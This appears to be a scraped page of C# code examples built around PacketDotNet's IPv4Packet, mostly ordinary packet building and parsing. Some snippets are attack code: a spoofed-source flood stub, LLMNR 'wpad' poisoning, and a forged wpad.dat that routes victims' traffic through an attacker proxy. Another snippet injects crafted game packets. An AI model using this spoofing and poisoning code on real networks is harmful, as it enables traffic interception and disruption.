Exemple #1
0
        public Packet GetEncapsuledPacket()
        {
            var    bas    = new ByteArraySegment(this.header.Bytes, this.header.Offset + this.header.Length, 50);
            Packet packet = new IPv4Packet(bas);

            return(packet);
        }
Exemple #2
0
        public static void Main(string[] args)
        {
            ushort tcpSourcePort = 123;
            ushort tcpDestinationPort = 321;
            var tcpPacket = new TcpPacket(tcpSourcePort, tcpDestinationPort);

            var ipSourceAddress = System.Net.IPAddress.Parse("192.168.1.1");
            var ipDestinationAddress = System.Net.IPAddress.Parse("192.168.1.2");
            var ipPacket = new IPv4Packet(ipSourceAddress, ipDestinationAddress);

            var sourceHwAddress = "90-90-90-90-90-90";
            var ethernetSourceHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(sourceHwAddress);
            var destinationHwAddress = "80-80-80-80-80-80";
            var ethernetDestinationHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(destinationHwAddress);
            // NOTE: using EthernetPacketType.None to illustrate that the ethernet
            //       protocol type is updated based on the packet payload that is
            //       assigned to that particular ethernet packet
            var ethernetPacket = new EthernetPacket(ethernetSourceHwAddress,
                                                    ethernetDestinationHwAddress,
                                                    EthernetPacketType.None);

            // Now stitch all of the packets together
            ipPacket.PayloadPacket = tcpPacket;
            ethernetPacket.PayloadPacket = ipPacket;

            // and print out the packet to see that it looks just like we wanted it to
            Console.WriteLine(ethernetPacket.ToString());
        }
Exemple #3
0
        public void SendSupplyBoxOpen()
        {
            byte[] packet = new byte[]
            {
               0x69, 0x04, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xEC, 0x04, 0x8B, 0x11, 0x17, 0x00, 0x00, 0x00,
            0xEC, 0x04, 0x00, 0x1F, 0xF7, 0x51, 0x8D, 0x0A, 0x00, 0x61, 0x00, 0x73, 0x00, 0x64, 0x00, 0x66,
            0x00, 0x00, 0x00
            };

            packet[4] = (byte)((int)(packet[4] + 10));
            Gunz2Packet.Encrypt(packet, 12, (uint)packet.Length - 12, _cryptKey);

            var checksum = Gunz2Packet.CalculateChecksum(packet, packet.Length);
            Buffer.BlockCopy(BitConverter.GetBytes(checksum), 0, packet, 10, 2);

            var tcp = new TcpPacket(_srcPort, 20100);
            var ip = new IPv4Packet(_srcIP, _destIP);
            var ether = new EthernetPacket(_srcPhsyical, _destPhysical, EthernetPacketType.None);

            tcp.Ack = true;
            tcp.Psh = true;
            tcp.PayloadData = packet;
            ip.PayloadPacket = tcp;
            ether.PayloadPacket = ip;

            Console.WriteLine(ether);
            _device.SendPacket(ether);
        }
Exemple #4
0
        public Packet GetEncapsuledPacket()
        {
            var bas = new ByteArraySegment(this.header.Bytes, this.header.Offset + this.header.Length, 50);
            // TODO BUG: GRE could contain other packets than IPv4, e.g. IPv6.
            Packet packet = new IPv4Packet(bas);

            return(packet);
        }
Exemple #5
0
 public TcpPacket(byte[] Bytes, int Offset, PosixTimeval Timeval, Packet ParentPacket) : this(Bytes, Offset, Timeval)
 {
     this.ParentPacket = ParentPacket;
     if (this.ParentPacket is IPv4Packet)
     {
         IPv4Packet parentPacket = (IPv4Packet)this.ParentPacket;
         int        num          = parentPacket.TotalLength - (parentPacket.HeaderLength * 4);
         int        num2         = num - this.Header.Length;
         base.payloadPacketOrData.TheByteArraySegment.Length = num2;
     }
 }
        public PacketWrapper(uint id, IPv4Packet ipv4, ushort sourcePort, ushort destPort, ConanPacket conanPacket)
        {
            Id = id;
            ConanPacket = conanPacket;

            EthernetPacket = new EthernetPacket(NullAddress, NullAddress, EthernetPacketType.IpV4)
            {
                PayloadPacket = ipv4
            };
            Ipv4Packet.PayloadPacket = new UdpPacket(sourcePort, destPort); // conandata
        }
Exemple #7
0
 public static IpPacket RandomPacket(IpVersion version)
 {
     if (version == IpVersion.IPv4)
     {
         return(IPv4Packet.RandomPacket());
     }
     if (version != IpVersion.IPv6)
     {
         throw new InvalidOperationException("Unknown version of " + version);
     }
     return(IPv6Packet.RandomPacket());
 }
Exemple #8
0
        public static IPv4Packet CreateIpV4Packet(IPAddress sourceIpAddress, IPAddress destinationIpAddress,
            TcpPacket payloadPacket)
        {
            var result = new IPv4Packet(sourceIpAddress, destinationIpAddress) { PayloadPacket = payloadPacket };

            payloadPacket.UpdateTCPChecksum();

            result.UpdateIPChecksum();
            result.UpdateCalculatedValues();

            return result;
        }
        /// <summary>
        ///     Generate a random packet of a specific ip version
        /// </summary>
        /// <param name="version">
        ///     A <see cref="IpVersion" />
        /// </param>
        /// <returns>
        ///     A <see cref="IpPacket" />
        /// </returns>
        public static IpPacket RandomPacket(IpVersion version)
        {
            Log.DebugFormat("version {0}", version);

            if (version == IpVersion.IPv4)
            {
                return(IPv4Packet.RandomPacket());
            }
            if (version == IpVersion.IPv6)
            {
                return(IPv6Packet.RandomPacket());
            }
            throw new InvalidOperationException("Unknown version of " + version);
        }
 async Task ReadAsync(Socket s)
 {
     // Reusable SocketAsyncEventArgs and awaitable wrapper 
     var args = new SocketAsyncEventArgs();
     args.SetBuffer(new byte[0x100000], 0, 0x100000);
     var awaitable = new SocketAwaitable(args);
     while (true)
     {
         await s.ReceiveAsync(awaitable);
         int bytesRead = args.BytesTransferred;
         if (bytesRead <= 0) throw new Exception("Raw socket is disconnected");
         var ipPacket = new IPv4Packet(new ByteArraySegment(args.Buffer, 0, bytesRead));
         if (ipPacket.Version != IpVersion.IPv4 || ipPacket.Protocol!=IPProtocolType.TCP)
             continue;
         OnPacketReceived(ipPacket);
     }
 }
        public void ConstructingFromValues()
        {
            var sourceAddress = RandomUtils.GetIPAddress(IpVersion.IPv4);
            var destinationAddress = RandomUtils.GetIPAddress(IpVersion.IPv4);
            var ip = new IPv4Packet(sourceAddress, destinationAddress);

            Assert.AreEqual(sourceAddress, ip.SourceAddress);
            Assert.AreEqual(destinationAddress, ip.DestinationAddress);

            // make sure the version is what we expect
            Assert.AreEqual(IPv4Packet.ipVersion, ip.Version);

            // retrieve the bytes for this IPv4Packet and construct another IPv4 packet from
            // these bytes
            var bytes = ip.Bytes;
            var ip2 = new IPv4Packet(new ByteArraySegment(bytes));

            // compare some of the the values
            //TODO: add more values here or implement an IPv4Packet equals method and use that here
            Assert.AreEqual(ip.Version, ip2.Version);
        }
        public override object[] Attack(string[] DDoSWork)
        {
            object[] obj = new object[2];

            string sDestinationAddress = DDoSWork[0];

            ushort tcpSourcePort = ushort.Parse(GetOpenPort());
            ushort tcpDestinationPort = 53;

            TcpPacket tcpPacket = new TcpPacket(tcpSourcePort, tcpDestinationPort);

            IPAddress ipSourceAddress = System.Net.IPAddress.Parse(GetRandomIP());
            IPAddress ipDestinationAddress = System.Net.IPAddress.Parse(sDestinationAddress);

            IPv4Packet ipPacket = new IPv4Packet(ipSourceAddress, ipDestinationAddress);

            string sourceHwAddress = "90-90-90-90-90-90";
            var ethernetSourceHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(sourceHwAddress);

            string destionationHwAddress = "80-80-80-80-80-80";
            var ethernetDestinationHwAdress = System.Net.NetworkInformation.PhysicalAddress.Parse(destionationHwAddress);

            var ethernetPacket = new EthernetPacket(ethernetSourceHwAddress, ethernetDestinationHwAdress, EthernetPacketType.None);

            ipPacket.PayloadPacket = tcpPacket;
            ethernetPacket.PayloadPacket = ipPacket;

            byte[] bPacket = new byte[75];

            var devices = CaptureDeviceList.Instance;

            int i = 0;

            var device = null;

            return obj;
        }
        private void btnSendPacket_Click(object sender, RoutedEventArgs e)
        {
            device = gbxDevInfo.DataContext as ICaptureDevice;
            // Open the device
            device.Open();

            try
            {
                IPAddress ip = IPAddress.Parse(tbxSourceIp.Text);
                IPAddress ipaddress = System.Net.IPAddress.Parse(tbxDestinationIp.Text);
                TcpPacket tcpPakje = new TcpPacket(80, 80);
                IPv4Packet pakje = new IPv4Packet(ip, ipaddress);
                pakje.PayloadData = System.Text.Encoding.ASCII.GetBytes(tbxPayloadIp.Text);
                pakje.TimeToLive = int.Parse(tbxTTLIp.Text);
               // pakje.Protocol = tbxProtocolIp.Text;
                device.SendPacket(pakje);
                Console.WriteLine("-- Packet sent successfuly.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("-- " + ex.Message);
            }

            // Close the pcap device
            device.Close();
            Console.WriteLine("-- Device closed.");
        }
Exemple #14
0
 public DAN_gui_msg parsePacket(RawCapture packet)
 {
     if (packet == null)
     {
         return null;
     }
     int wtf = DAN_gui_msg.DAN_MSG_CMD_OFFSET_WITHIN_RAW_PACKET;
     byte cmd = packet.Data[wtf];
     //Console.WriteLine("Inspecting packet with {0} at byte[{1}]", cmd.ToString("X2"), wtf.ToString("X2"));
     if (packet.Data[12] == 8 &&
         packet.Data[13] == 0 &&
         packet.Data[14] == 0x15 &&
         (packet.Data[DAN_gui_msg.DAN_MSG_CMD_OFFSET_WITHIN_RAW_PACKET] >= (byte)DAN_gui_msg.MSG_TYPE.RSP_READ))
     {
         ByteArraySegment bas = new ByteArraySegment(packet.Data, EthernetFields.HeaderLength, IPv4Fields.HeaderLength);
         IpPacket ipPacket = new IPv4Packet(bas);
         DAN_gui_msg responseMessage = DAN_gui_msg.unmarshal(packet.Data);
         //responseMessage.print();
         return responseMessage;
     }
     else
     {
         return null;
     }
 }
        void ParsePacket(IPv4Packet ipPacket)
        {
            TcpPacket tcpPacket = (TcpPacket)ipPacket.PayloadPacket;

            System.Text.StringBuilder sb = new System.Text.StringBuilder();

            sb.Append(String.Format("{0}:{1}", ipPacket.SourceAddress, tcpPacket.SourcePort));
            sb.Append(" --> ");
            sb.Append(String.Format("{0}:{1}", ipPacket.DestinationAddress, tcpPacket.DestinationPort));
            sb.AppendLine(String.Format(" Len = {0}", tcpPacket.PayloadData.Length));
            //sb.Append(" Data = ");

            //foreach (byte b in tcpPacket.PayloadData)
            //{
            //    sb.Append(String.Format("{0} ", b.ToString()));
            //}

            //sb.AppendLine(ByteArrayToHex(tcpPacket.PayloadData));
            sb.Append(FormatPacketData(tcpPacket.PayloadData));

            Log(sb.ToString());
        }
Exemple #16
0
        //private void ParsePacketsLoop()
        //{
        //    while (true)
        //    {
        //        QPacket toProcess;
        //        if (_buffer.TryDequeue(out toProcess))
        //            toProcess.Connection.HandleTcpReceived(toProcess.SequenceNumber, toProcess.Packet);
        //        else System.Threading.Thread.Sleep(1);
        //    }
        //}
        private void Receive(IPv4Packet ipData)
        {
            var tcpPacket = ipData.PayloadPacket as PacketDotNet.TcpPacket;
            if (tcpPacket == null || tcpPacket.DataOffset*4 > ipData.PayloadLength) return;
            //if (tcpPacket.Checksum!=0 && !tcpPacket.ValidTCPChecksum) return;
            var isFirstPacket = tcpPacket.Syn;
            var connectionId = new ConnectionId(ipData.SourceAddress, tcpPacket.SourcePort, ipData.DestinationAddress,
                tcpPacket.DestinationPort);

            TcpConnection connection;
            bool isInterestingConnection;
            if (isFirstPacket)
            {
                connection = new TcpConnection(connectionId, tcpPacket.SequenceNumber, RemoveConnection, SnifferType);
                OnNewConnection(connection);
                isInterestingConnection = connection.HasSubscribers;
                if (!isInterestingConnection) return;
                _connections[connectionId] = connection;
                Debug.Assert(tcpPacket.PayloadData.Length == 0);
            }
            else
            {
                isInterestingConnection = _connections.TryGetValue(connectionId, out connection);
                if (!isInterestingConnection) return;
                byte[] payload;
                try { payload = tcpPacket.PayloadData; } catch { return; }
                //_buffer.Enqueue(new QPacket(connection, tcpPacket.SequenceNumber, tcpPacket.Payload));
                lock (_lock)
                    connection.HandleTcpReceived(tcpPacket.SequenceNumber, payload);
                //if (!string.IsNullOrEmpty(TcpLogFile))
                //    File.AppendAllText(TcpLogFile,
                //        string.Format("{0} {1}+{4} | {2} {3}+{4} ACK {5} ({6})\r\n",
                //            connection.CurrentSequenceNumber, tcpPacket.SequenceNumber, connection.BytesReceived,
                //            connection.SequenceNumberToBytesReceived(tcpPacket.SequenceNumber),
                //            tcpPacket.Payload.Count, tcpPacket.AcknowledgementNumber,
                //            connection.BufferedPacketDescription));
            }
        }
Exemple #17
0
        private static void device_OnPacketArrival(object sender, CaptureEventArgs captureEventArgs)
        {
            LinkLayers ethType = captureEventArgs.Packet.LinkLayerType;

            // Is it my special packet?  (TBD: compile filter)
            if (captureEventArgs.Packet.Data[12] == 8 &&
                captureEventArgs.Packet.Data[13] == 0 &&
                captureEventArgs.Packet.Data[14] == 0x15)  // DAN_GUI_MESSAGE_IP_V << 4 | IP_HEADER_DAN_GUI_LENGTH
            {
                // Quietly ignore packets that were generated by this machine - requests
                byte cmd = captureEventArgs.Packet.Data[DAN_gui_msg.DAN_MSG_CMD_OFFSET_WITHIN_RAW_PACKET];

                if (cmd < (byte) DAN_gui_msg.MSG_TYPE.RSP_READ)
                {
                    // Ignore DAN request messages.  Should never come thru here, if
                    // the packet filter is working as intended.
                    return;
                }
                DateTime time = captureEventArgs.Packet.Timeval.Date;
                //int len = captureEventArgs.Packet.Data.Length;
                //Console.WriteLine("{0}:{1}:{2},{3} Len={4}  type = {5}",
                //    time.Hour, time.Minute, time.Second, time.Millisecond, len, ethType);
                if (ethType != LinkLayers.Ethernet)
                {
                    Console.WriteLine("Unexpected ethType {0}, ignored!", ethType);
                    return;
                }
                ByteArraySegment bas = new ByteArraySegment(captureEventArgs.Packet.Data, EthernetFields.HeaderLength, IPv4Fields.HeaderLength);
                IpPacket ipPacket = new IPv4Packet(bas);
                DAN_gui_msg responseMessage = DAN_gui_msg.unmarshal(captureEventArgs.Packet.Data);
                //responseMessage.print();
                System.Diagnostics.Stopwatch st = new System.Diagnostics.Stopwatch();
                st.Start();

                // The listeners may remove themselves during the callback.  To avoid
                // concurrentModificationException, use a duplicate of the collection
                // for iteration
                List<MessageReplyListener> listenersCopy = new List<MessageReplyListener>(pcap.listeners);
                MessageReplyListener lastListener = null;
                foreach (MessageReplyListener l in listenersCopy)
                {
                    lastListener = l;
                    st.Restart();
                    if (l.MessageReplyListenerCallback(responseMessage, time))
                    {
                        break; //was handled
                    }
                    if (st.ElapsedMilliseconds > 20)
                    {
                        System.Console.WriteLine("Bug? Handler {2} took {0} ms: {1}", st.ElapsedMilliseconds, responseMessage.ToString(), l.ToString ());
                    }
                }
                if (st.ElapsedMilliseconds > 20 )
                {
                    if (lastListener == null)
                    {
                        System.Console.WriteLine("This is weird");
                    }
                    else
                    {
                        System.Console.WriteLine("Bug? Handler {2} took {0} ms: {1}", st.ElapsedMilliseconds, responseMessage.ToString(), lastListener.ToString());
                    }
                }
            }
        }
Exemple #18
0
        //在树形控件中加入ipv4节点(由于TCP、UDP、ICMP、IGMP都有IP头,所以写成一个函数)
        private void addIpv4Node(IPv4Packet IPv4)
        {
            TreeNode ipNode = new TreeNode();
            ipNode.Text = "Internet Protocal Version 4, Src: " + IPv4.SourceAddress + ", Dst: " + IPv4.DestinationAddress;
            treeView.Nodes.Add(ipNode);
            ipNode.Nodes.Add(new TreeNode("version: " + IPv4.Version));
            ipNode.Nodes.Add(new TreeNode("Header Length: " + (((int)IPv4.HeaderLength) * 4).ToString() + " bytes"));
            ipNode.Nodes.Add(new TreeNode("Differentiated Services Field: 0x" + IPv4.DifferentiatedServices.ToString("X2")));
            ipNode.Nodes.Add(new TreeNode("Total Length: " + IPv4.TotalLength.ToString()));
            ipNode.Nodes.Add(new TreeNode("Identification: 0x" + IPv4.Id.ToString("X4") + " (" + IPv4.Id.ToString() + ")"));

            TreeNode flagsNode = new TreeNode("Flags: 0x" + IPv4.FragmentFlags.ToString("X2"));
            ipNode.Nodes.Add(flagsNode);
            string reserved = Convert.ToString(IPv4.FragmentFlags, 2).PadLeft(3, '0').Substring(0, 1);
            string dfrag = Convert.ToString(IPv4.FragmentFlags, 2).PadLeft(3, '0').Substring(1, 1);
            string mfrag = Convert.ToString(IPv4.FragmentFlags, 2).PadLeft(3, '0').Substring(2, 1);
            flagsNode.Nodes.Add(new TreeNode(reserved + "... .... = Reserved bit: " + ((reserved == "0") ? "Not set" : "Set")));
            flagsNode.Nodes.Add(new TreeNode("." + dfrag + ".. .... = Don't fragment: " + ((dfrag == "0") ? "Not set" : "Set")));
            flagsNode.Nodes.Add(new TreeNode(".." + mfrag + ". .... = More fragments: " + ((mfrag == "0") ? "Not set" : "Set")));

            ipNode.Nodes.Add(new TreeNode("Fragment offset: " + IPv4.FragmentOffset));
            ipNode.Nodes.Add(new TreeNode("Time to live: " + IPv4.TimeToLive));
            ipNode.Nodes.Add(new TreeNode("protocal: " + IPv4.Protocol));
            ipNode.Nodes.Add(new TreeNode("Header checksum: 0x" + IPv4.Checksum.ToString("X4")));
            ipNode.Nodes.Add(new TreeNode("Source: " + IPv4.SourceAddress));
            ipNode.Nodes.Add(new TreeNode("Destination: " + IPv4.DestinationAddress));
        }
Exemple #19
0
        /*
        public EthernetPacketType NAT_incoming_packet(ref byte[] data, PhysicalAddress dstMAC, PhysicalAddress srcMAC)
        {
            EthernetPacketType ethernet_packet_type = getEthernetPacketType(ref data);
            if (!isIpOrArpPacket(ethernet_packet_type))
                return ethernet_packet_type;
            xbs_nat_entry nat_entry;
            lock (NAT_list)
            {
                if (!NAT_list.TryGetValue(srcMAC, out nat_entry))
                {
                    IPAddress sourceIP = getSourceIPFromRawPacketData(ref data, ethernet_packet_type);
                    if (sourceIP.Equals(ip_zero))
                        return ethernet_packet_type;
                    IPAddress destinationIP = getDestinationIPFromRawPacketData(ref data, ethernet_packet_type);
                    nat_entry = ip_pool.requestIP( sourceIP, srcMAC );
                    if (nat_entry == null)
                    {
                        xbs_messages.addInfoMessage("!! % out of NAT IPs. Could not nat incoming packet");
                        return ethernet_packet_type;
                    }
                    NAT_list.Add(srcMAC, nat_entry);
#if DEBUG
                    xbs_messages.addDebugMessage("% new device in NAT list: " + srcMAC + " " + nat_entry.original_source_ip + "=>" + nat_entry.natted_source_ip);
#endif
                }
                else
                {
#if DEBUG
                    xbs_messages.addDebugMessage("% found device in NAT list: " + srcMAC + " " + nat_entry.original_source_ip + "=>" + nat_entry.natted_source_ip);
#endif
                }
            }
            replaceSourceIpWithNATSourceIP(ref data, ethernet_packet_type, ref nat_entry);
            if (ethernet_packet_type == EthernetPacketType.IpV4)
            {
                if (dstMAC.Equals(broadcast_mac) && nat_entry.natted_broadcast!=null)
                    replaceBroadcastIPAddress(ref data, ref nat_entry.natted_broadcast_bytes);
                updateIPChecksums(ref data);
            }
            return ethernet_packet_type;
        }
        */
        public EthernetPacketType NAT_incoming_packet_PacketDotNet(ref byte[] data, PhysicalAddress dstMAC, PhysicalAddress srcMAC, ref Packet p, ref IPv4Packet p_IPV4, ref ARPPacket p_ARP)
        {
            xbs_nat_entry nat_entry;

            EthernetPacketType p_type = ((EthernetPacket)p).Type;
            if (p_type != EthernetPacketType.IpV4 && p_type != EthernetPacketType.Arp)
                return p_type;

            lock (NAT_list)
            {
                if (!NAT_list.TryGetValue(srcMAC, out nat_entry))
                {
                    IPAddress sourceIP = (p_IPV4!=null) ? p_IPV4.SourceAddress : p_ARP.SenderProtocolAddress;
                    if (sourceIP.Equals(ip_zero))
                        return p_type;
                    IPAddress destinationIP = (p_IPV4 != null) ? p_IPV4.DestinationAddress : p_ARP.TargetProtocolAddress;
                    nat_entry = ip_pool.requestIP(sourceIP, srcMAC);
                    if (nat_entry == null)
                    {
                        if (!natIPpoolOverflow_warning_shown)
                        {
                            natIPpoolOverflow_warning_shown = true;
                            xbs_messages.addInfoMessage("!! % out of NAT IPs. Could not NAT incoming packet", xbs_message_sender.NAT, xbs_message_type.WARNING);
                        }
                        return p_type;
                    }
                    else
                    {
                        natIPpoolOverflow_warning_shown = false;
                        NAT_list.Add(srcMAC, nat_entry);
#if DEBUG
                        xbs_messages.addDebugMessage("% new device in NAT list: " + srcMAC + " " + nat_entry.original_source_ip + "=>" + nat_entry.natted_source_ip, xbs_message_sender.NAT);
#endif
                    }
                }
                else
                {
#if DEBUG
                    xbs_messages.addDebugMessage("% found device in NAT list: " + srcMAC + " " + nat_entry.original_source_ip + "=>" + nat_entry.natted_source_ip, xbs_message_sender.NAT);
#endif
                }
            }
            if (p_IPV4 != null)
            {
                p_IPV4.SourceAddress = nat_entry.natted_source_ip;
                if (dstMAC.Equals(broadcast_mac) && nat_entry.natted_broadcast != null)
                    p_IPV4.DestinationAddress = nat_entry.natted_broadcast;
                p_IPV4.UpdateIPChecksum();
                if (p_IPV4.Protocol == IPProtocolType.UDP)
                {
                    UdpPacket p_UDP = (UdpPacket)p_IPV4.PayloadPacket;
                    if (NAT_enablePS3mode)
                    {
                        bool ret = PS3_replaceInfoResponse_hostAddr(dstMAC, ref p_UDP, nat_entry.natted_source_ip);
                        if (!ret)
                            ret = PS3_replaceClientAnswer_hostAddr(dstMAC, ref p_UDP, nat_entry.natted_source_ip, nat_entry.original_source_ip);
                    }
                    p_UDP.UpdateUDPChecksum();
                }
                else if (p_IPV4.Protocol == IPProtocolType.TCP)
                    ((TcpPacket)p_IPV4.PayloadPacket).UpdateTCPChecksum();
            }
            else
            {
                p_ARP.SenderProtocolAddress = nat_entry.natted_source_ip;
            }
            data = p.BytesHighPerformance.ActualBytes();
            return p_type;
        }
Exemple #20
0
        public void SendWpadFile(Packet packet)
        {
            lock (locker)
            {
                if (packet is EthernetPacket)
                {
                    EthernetPacket ethPacket = packet as EthernetPacket;
                    IPv4Packet ipv4Source = (IPv4Packet)packet.PayloadPacket;

                    if (ipv4Source.PayloadPacket is PacketDotNet.TcpPacket)
                    {
                        TcpPacket tcp = ipv4Source.PayloadPacket as TcpPacket;
                        string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber);


                        ushort destPort = tcp.SourcePort;
                        ushort sourcePort = tcp.DestinationPort;
                        IPAddress destAddress = ipv4Source.SourceAddress;
                        IPAddress sourceAddress = ipv4Source.DestinationAddress;
                        PhysicalAddress sourceMac = Program.CurrentProject.data.GetDevice().MacAddress;
                        PhysicalAddress destMac = ethPacket.SourceHwAddress;

                        tcp.SourcePort = sourcePort;
                        tcp.DestinationPort = destPort;

                        if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0 && sourcePort == 80)
                        {
                            tcp.Ack = true;
                            tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
                            tcp.SequenceNumber = tcp.SequenceNumber + 38;
                            tcp.WindowSize = 14600;

                            IPv4Packet ipv4Ack = new IPv4Packet(sourceAddress, destAddress);
                            ipv4Ack.PayloadPacket = tcp;

                            EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV4);

                            eth.PayloadPacket = ipv4Ack;
                            (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum();
                            (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
                            Program.CurrentProject.data.SendPacket(eth);
                        }
                        else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80)
                        {
                            if (Data.Data.WpadReqList.Contains(element))
                                return;

                            Data.Data.WpadReqList.Add(element);
                            HttpPacket http = new HttpPacket(((TcpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData);
                            if (http.FullUrlRequest.Contains("wpad.dat"))
                            {
                                tcp.Psh = true;
                                tcp.Fin = true;
                                tcp.Ack = true;
                                tcp.SequenceNumber = (ipv4Source.PayloadPacket as TcpPacket).AcknowledgmentNumber;
                                tcp.AcknowledgmentNumber = tcp.SequenceNumber;
                                string jsFunction = string.Format("function FindProxyForURL(url, host){{return \"PROXY {0}:{1}\";}}", ipv4Source.DestinationAddress.ToString(), proxyPort);
                                string htmlHeader = string.Format("HTTP/1.1 200 OK\r\nContent-Type: application/x-ns-proxy-autoconfig\r\nContent-Length: {0}\r\n\r\n", jsFunction.Length);
                                tcp.PayloadData = System.Text.Encoding.UTF8.GetBytes(string.Concat(htmlHeader, jsFunction));


                                EthernetPacket eth = new EthernetPacket(ethPacket.DestinationHwAddress, ethPacket.SourceHwAddress, EthernetPacketType.IpV4);
                                IPv4Packet ip4 = new IPv4Packet(ipv4Source.DestinationAddress, ipv4Source.SourceAddress);
                                ip4.PayloadPacket = tcp;

                                eth.PayloadPacket = ip4;

                                (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum();
                                (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
                                Program.CurrentProject.data.SendPacket(eth);
                            }
                        }
                        else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0)
                        {
                            tcp.Ack = true;
                            tcp.Fin = false;
                            uint ackOrg = tcp.AcknowledgmentNumber;
                            tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
                            tcp.SequenceNumber = ackOrg;
                            tcp.WindowSize = 1400;

                            IPv4Packet ipv4Ack = new IPv4Packet(sourceAddress, destAddress);
                            ipv4Ack.PayloadPacket = tcp;
                            EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV4);
                            eth.PayloadPacket = ipv4Ack;

                            (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum();
                            (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
                            Program.CurrentProject.data.SendPacket(eth);
                        }
                    }
                }
            }
        }
Exemple #21
0
        public void GenerateLLMNRResponse(Packet packet)
        {
            try
            {
                LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
                llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData);
                if (llmnr.Query.Name.ToLower().Equals("wpad") && llmnr.Query.Type.Value == LLMNR.DNSType.A)
                {

                    WinPcapDevice dev = Program.CurrentProject.data.GetDevice();
                    IPAddress ip = Program.CurrentProject.data.GetIPv4FromDevice(dev);
                    byte[] ipv4Addr = ip.GetAddressBytes();

                    llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
                    {
                        Class = evilfoca.LLMNR.DNSClass.IN,
                        Name = llmnr.Query.Name,
                        Type = evilfoca.LLMNR.DNSType.A,
                        RData = ipv4Addr,
                        RDLength = (short)ipv4Addr.Length,
                        TTL = 12
                    });
                    llmnr.IsResponse = true;


                    EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV4);
                    IPv4Packet ipv4Dns = new IPv4Packet(ip, ((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress);
                    UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort);

                    udpDns.PayloadData = llmnr.BuildPacket();

                    ipv4Dns.PayloadPacket = udpDns;


                    udpDns.UpdateCalculatedValues();
                    udpDns.UpdateUDPChecksum();

                    ipv4Dns.UpdateIPChecksum();
                    ipv4Dns.UpdateCalculatedValues();
                    ethDns.PayloadPacket = ipv4Dns;
                    Program.CurrentProject.data.SendPacket(ethDns);
                }
            }
            catch (Exception)
            {
            }
        }
Exemple #22
0
        public void sendDanMsg(DAN_gui_msg message)
        {
            byte[] bytes = message.marshal();

            // IP addressing is not needed; just keeping entertained...
            IpPacket ipPacket = new IPv4Packet(ipSrcAddr, ipDestAddr);
            ipPacket.PayloadData = bytes;
            ipPacket.UpdateCalculatedValues();

            ipPacket.Version = (PacketDotNet.IpVersion)DAN_GUI_MESSAGE_IP_V;

            EthernetPacket ethernetPacket = new EthernetPacket(device.MacAddress, ethDstAddr, EthernetPacketType.IpV4);
            ethernetPacket.PayloadPacket = ipPacket;

            device.SendPacket(ethernetPacket);
        }
Exemple #23
0
        private bool is_injected_packet_to_be_filtered(ref ARPPacket p_arp, ref IPv4Packet p_ipv4, ref UdpPacket p_udp, ref TcpPacket p_tcp)
        {
            // FILTER ARP PACKETS
            if (p_arp != null)
            {
                // FILTER ARP PACKETS TO OR FROM GATEWAY IPs
                foreach (IPAddress ip in gateway_ips)
                {
                    if (p_arp.TargetProtocolAddress.Equals(ip))
                        return true;
                    else if (p_arp.SenderProtocolAddress.Equals(ip))
                        return true;
                }
            }

            // FILTER IPv4 PACKETS
            if (p_ipv4 != null)
            {
                // FILTER IP PACKETS TO OR FROM GATEWAY IPs
                if (pdev_filter_exclude_gatway_ips)
                {
                    foreach (IPAddress ip in gateway_ips)
                    {
                        if (p_ipv4.DestinationAddress.Equals(ip))
                            return true;
                        else if (p_ipv4.SourceAddress.Equals(ip))
                            return true;
                    }
                }
            }

            // FILTER UDP PACKETS
            if (p_udp != null)
            {
                // FILTER UDP PACKETS TO WELL KNOWN PORTS
                if (pdev_filter_wellknown_ports && p_udp.DestinationPort < 1024)
                    return true;
            }
            // FILTER TCP PACKETS
            if (p_tcp != null)
            {
                // FILTER TCP PACKETS TO WELL KNOWN PORTS
                if (pdev_filter_wellknown_ports && p_tcp.DestinationPort < 1024)
                    return true;
            }
            return false;
        }
 void listField(ref IPv4Packet p)
 {
     addField("IPv4", "Checksum", p);
     addField("Destination Address", p.DestinationAddress.ToString(), IPv4Fields.DestinationPosition,IPv4Fields.AddressLength);
     addField("IPv4", "TotalLength", p);
     addField("IPv4", "Differentiated Services", p);
     addField("Fragment Flags", p.FragmentFlags.ToString(), IPv4Fields.FragmentOffsetAndFlagsPosition, IPv4Fields.FragmentOffsetAndFlagsLength);
     addField("Fragment Offset", p.FragmentOffset.ToString(), IPv4Fields.FragmentOffsetAndFlagsPosition, IPv4Fields.FragmentOffsetAndFlagsLength);
     addField("Header Length", p.HeaderLength.ToString(), IPv4Fields.VersionAndHeaderLengthPosition, IPv4Fields.VersionAndHeaderLengthLength);
     addField("IPv4", "Id", p);
     addField("IPv4", "Protocol", p);
     addField("Source Address", p.SourceAddress.ToString(), IPv4Fields.SourcePosition,IPv4Fields.AddressLength);
